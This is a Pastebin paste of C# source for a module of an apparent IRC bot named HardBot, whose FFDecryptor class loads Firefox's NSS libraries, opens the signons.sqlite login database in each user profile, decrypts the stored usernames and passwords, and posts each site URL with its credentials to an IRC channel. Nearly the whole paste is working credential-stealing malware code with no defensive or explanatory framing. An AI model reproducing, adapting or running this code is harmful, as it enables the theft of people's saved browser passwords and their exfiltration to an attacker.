Advertisement
Guest User

Untitled

a guest
May 26th, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.70 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Runtime.InteropServices;
  4. using System.Data;
  5. using System.Text;
  6. using System.Threading;
  7.  
  8. namespace HardBot
  9. {
  10.     static class FFDecryptor
  11.     {
  12.         public class SHITEMID
  13.         {
  14.             public static long cb;
  15.             public static byte[] abID;
  16.         }
  17.         [StructLayout(LayoutKind.Sequential)]
  18.         public struct TSECItem
  19.         {
  20.             public int SECItemType;
  21.             public int SECItemData;
  22.             public int SECItemLen;
  23.         }
  24.  
  25.         public static string Log;
  26.  
  27.         [DllImport("kernel32.dll")]
  28.         private static extern IntPtr LoadLibrary(string dllFilePath);
  29.         static IntPtr NSS3;
  30.         [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  31.         static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  32.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  33.         public delegate long DLLFunctionDelegate(string configdir);
  34.         public static long NSS_Init(string configdir)
  35.         {
  36.             string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
  37.             LoadLibrary(MozillaPath + "mozcrt19.dll");
  38.             LoadLibrary(MozillaPath + "nspr4.dll");
  39.             LoadLibrary(MozillaPath + "plc4.dll");
  40.             LoadLibrary(MozillaPath + "plds4.dll");
  41.             LoadLibrary(MozillaPath + "ssutil3.dll");
  42.             LoadLibrary(MozillaPath + "sqlite3.dll");
  43.             LoadLibrary(MozillaPath + "nssutil3.dll");
  44.             LoadLibrary(MozillaPath + "softokn3.dll");
  45.             NSS3 = LoadLibrary(MozillaPath + "nss3.dll");
  46.             IntPtr pProc = GetProcAddress(NSS3, "NSS_Init");
  47.             DLLFunctionDelegate dll = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate));
  48.             return dll(configdir);
  49.         }
  50.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  51.         public delegate long DLLFunctionDelegate2();
  52.         public static long PK11_GetInternalKeySlot()
  53.         {
  54.             IntPtr pProc = GetProcAddress(NSS3, "PK11_GetInternalKeySlot");
  55.             DLLFunctionDelegate2 dll = (DLLFunctionDelegate2)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate2));
  56.             return dll();
  57.         }
  58.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  59.         public delegate long DLLFunctionDelegate3(long slot, bool loadCerts, long wincx);
  60.         public static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
  61.         {
  62.             IntPtr pProc = GetProcAddress(NSS3, "PK11_Authenticate");
  63.             DLLFunctionDelegate3 dll = (DLLFunctionDelegate3)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate3));
  64.             return dll(slot, loadCerts, wincx);
  65.         }
  66.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  67.         public delegate int DLLFunctionDelegate4(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
  68.         public static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
  69.         {
  70.             IntPtr pProc = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer");
  71.             DLLFunctionDelegate4 dll = (DLLFunctionDelegate4)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate4));
  72.             return dll(arenaOpt, outItemOpt, inStr, inLen);
  73.         }
  74.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  75.         public delegate int DLLFunctionDelegate5(ref TSECItem data, ref TSECItem result, int cx);
  76.         public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
  77.         {
  78.             IntPtr pProc = GetProcAddress(NSS3, "PK11SDR_Decrypt");
  79.             DLLFunctionDelegate5 dll = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5));
  80.             return dll(ref data, ref result, cx);
  81.         }
  82.         //PK11_GetInternalKeySlot
  83.  
  84.         public static string signon;
  85.  
  86.         public static void GetFF()
  87.         {
  88.             bool FoundFile = false;
  89.             long KeySlot = 0;
  90.             string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
  91.             string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";
  92.             string[] Dirs = Directory.GetDirectories(DefaultPath);
  93.             foreach (string dir in Dirs)
  94.             {
  95.                 if (!FoundFile)
  96.                 {
  97.                     string[] Files = Directory.GetFiles(dir);
  98.                     foreach (string CurrFile in Files)
  99.                     {
  100.                         if (!FoundFile)
  101.                         {
  102.                             if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
  103.                             {
  104.                                 NSS_Init(dir);
  105.                                 signon = CurrFile;
  106.                             }
  107.                         }
  108.  
  109.                         else
  110.                         {
  111.                             break;
  112.                         }
  113.                     }
  114.                 }
  115.                 else
  116.                 {
  117.                     break;
  118.                 }
  119.             }
  120.  
  121.             string dataSource = signon;
  122.             new TSECItem();
  123.             TSECItem tSecDec = new TSECItem();
  124.             TSECItem tSecDec2 = new TSECItem();
  125.             byte[] bvRet;
  126.             SQLiteBase db = new SQLiteBase(dataSource);
  127.  
  128.             DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;");
  129.             DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");
  130.             foreach (DataRow row in table2.Rows)
  131.             {
  132.                 Log = row["hostname"].ToString();
  133.             }
  134.             KeySlot = PK11_GetInternalKeySlot();
  135.             PK11_Authenticate(KeySlot, true, 0);
  136.             foreach (DataRow Zeile in table.Rows)
  137.             {
  138.                 string formurl = Convert.ToString(Zeile["formSubmitURL"].ToString());
  139.                 Log = Log + "URL: " + formurl + " ";
  140.                 StringBuilder se = new StringBuilder(Zeile["encryptedUsername"].ToString());
  141.                 int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
  142.                 TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
  143.                 if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
  144.                 {
  145.                     if (tSecDec.SECItemLen != 0)
  146.                     {
  147.                         bvRet = new byte[tSecDec.SECItemLen];
  148.                         Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
  149.                         Log = Log + "USER: " + Encoding.ASCII.GetString(bvRet) + " ";
  150.                     }
  151.                 }
  152.                 StringBuilder se2 = new StringBuilder(Zeile["encryptedPassword"].ToString());
  153.                 int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
  154.                 TSECItem item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
  155.                 if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
  156.                 {
  157.                     if (tSecDec2.SECItemLen != 0)
  158.                     {
  159.                         bvRet = new byte[tSecDec2.SECItemLen];
  160.                         Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
  161.                         Log = Log + "PASSWORD: " + Encoding.ASCII.GetString(bvRet);
  162.                     }
  163.                 }
  164.                 Bot.Write("PRIVMSG {0} {1}",channel,Log);
  165.                 Log = "";
  166.                 Thread.Sleep(3000);
  167.             }
  168.         }
  169.  
  170.     }
  171. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement